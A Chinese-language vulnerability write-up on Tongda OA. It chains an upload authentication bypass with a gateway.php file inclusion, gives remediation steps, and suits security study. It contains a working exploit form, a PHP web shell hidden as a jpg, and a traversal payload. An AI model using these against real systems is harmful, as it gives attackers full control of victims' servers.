通达OA任意文件上传/文件包含GetShell
字数 1050 2025-08-25 22:58:20

通达OA任意文件上传/文件包含漏洞分析与利用

0x01 漏洞描述

通达OA系统存在一个高危安全漏洞,攻击者可以通过绕过身份认证上传任意文件,并结合文件包含功能实现远程恶意代码执行(GetShell)。该漏洞影响多个版本的通达OA系统。

0x02 影响版本

  • V11
  • 2017
  • 2016
  • 2015
  • 2013

0x03 环境搭建

  1. 下载通达OA V11版本(密码:enqx)
  2. 使用解密工具对文件解密获取所有解密代码用于分析
  3. 直接运行EXE文件安装
  4. 访问localhost即可进入系统

0x04 漏洞分析

漏洞文件位置

官方补丁更新了两个关键文件:

  • /ispirit/im/upload.php - 修复任意文件上传漏洞
  • /ispirit/interface/gateway.php - 修复文件包含漏洞

上传漏洞分析

  1. 身份认证绕过

    • 通过POST变量$P可以绕过身份认证
    • $DEST_UID同样可以通过POST方式自行赋值
  2. 文件上传点

    • 文件上传变量名为ATTACHMENT
    • 上传函数位于inc/utility_file.php
    • 系统对上传文件进行黑名单检查,但可以上传jpg格式的php代码
  3. 黑名单限制

    $UPLOAD_FORBIDDEN_TYPE = "php,php3,php4,php5,phpt,jsp,asp,aspx,";
    
  4. 文件回显

    • 上传的文件默认不显示文件名
    • 通过设置UPLOAD_MODEMSG_CATE变量可以回显文件名
    • 文件名包含在返回的databack数组的CONTENT字段中

文件包含漏洞分析

gateway.php文件存在文件包含漏洞:

  • 通过POST传递JSON数据
  • JSON中设置url键值为恶意文件路径
  • 包含路径限制为general/ispirit/module/目录下的文件

0x05 漏洞利用

文件上传利用

构造上传表单:

<html>
<body>
<form action="http://127.0.0.1/ispirit/im/upload.php" method="post" enctype="multipart/form-data">
<input type="text" name='P' value=1></input>
<input type="text" name='MSG_CATE' value='file'></input>
<input type="text" name='UPLOAD_MODE' value=1></input>
<input type="text" name="DEST_UID" value=1></input>
<input type="file" name="ATTACHMENT"></input>
<input type="submit"></input>
</body>
</html>

恶意文件示例(保存为jpg格式):

<?php
$phpwsh = new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");
$exec = $phpwsh->exec("cmd.exe /c ".$_POST['cmd']."");
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

上传后的文件位置:/attach/in/2003/目录下,文件名前有随机数

文件包含利用

通过gateway.php文件包含上传的恶意文件:

  1. 构造POST请求,JSON数据格式如下:
{
    "url": "/ispirit/interface/../attach/in/2003/[随机文件名].jpg"
}
  1. 发送请求到/ispirit/interface/gateway.php

0x06 修复方案

  1. 及时更新官方发布的补丁
  2. 对上传文件进行更严格的白名单验证
  3. 修复文件包含漏洞,限制可包含的文件路径
  4. 加强身份认证机制,防止绕过

0x07 总结

该漏洞组合了文件上传和文件包含两个安全问题,攻击者可以完全控制服务器。建议所有使用通达OA系统的用户立即检查版本并更新补丁,同时加强服务器的安全监控。

通达OA任意文件上传/文件包含漏洞分析与利用 0x01 漏洞描述 通达OA系统存在一个高危安全漏洞,攻击者可以通过绕过身份认证上传任意文件,并结合文件包含功能实现远程恶意代码执行(GetShell)。该漏洞影响多个版本的通达OA系统。 0x02 影响版本 V11 2017 2016 2015 2013 0x03 环境搭建 下载通达OA V11版本(密码:enqx) 使用解密工具对文件解密获取所有解密代码用于分析 直接运行EXE文件安装 访问localhost即可进入系统 0x04 漏洞分析 漏洞文件位置 官方补丁更新了两个关键文件: /ispirit/im/upload.php - 修复任意文件上传漏洞 /ispirit/interface/gateway.php - 修复文件包含漏洞 上传漏洞分析 身份认证绕过 : 通过POST变量 $P 可以绕过身份认证 $DEST_UID 同样可以通过POST方式自行赋值 文件上传点 : 文件上传变量名为 ATTACHMENT 上传函数位于 inc/utility_file.php 系统对上传文件进行黑名单检查,但可以上传jpg格式的php代码 黑名单限制 : 文件回显 : 上传的文件默认不显示文件名 通过设置 UPLOAD_MODE 和 MSG_CATE 变量可以回显文件名 文件名包含在返回的 databack 数组的 CONTENT 字段中 文件包含漏洞分析 gateway.php 文件存在文件包含漏洞: 通过POST传递JSON数据 JSON中设置 url 键值为恶意文件路径 包含路径限制为 general/ 、 ispirit/ 或 module/ 目录下的文件 0x05 漏洞利用 文件上传利用 构造上传表单: 恶意文件示例(保存为jpg格式): 上传后的文件位置: /attach/in/2003/ 目录下,文件名前有随机数 文件包含利用 通过gateway.php文件包含上传的恶意文件: 构造POST请求,JSON数据格式如下: 发送请求到 /ispirit/interface/gateway.php 0x06 修复方案 及时更新官方发布的补丁 对上传文件进行更严格的白名单验证 修复文件包含漏洞,限制可包含的文件路径 加强身份认证机制,防止绕过 0x07 总结 该漏洞组合了文件上传和文件包含两个安全问题,攻击者可以完全控制服务器。建议所有使用通达OA系统的用户立即检查版本并更新补丁,同时加强服务器的安全监控。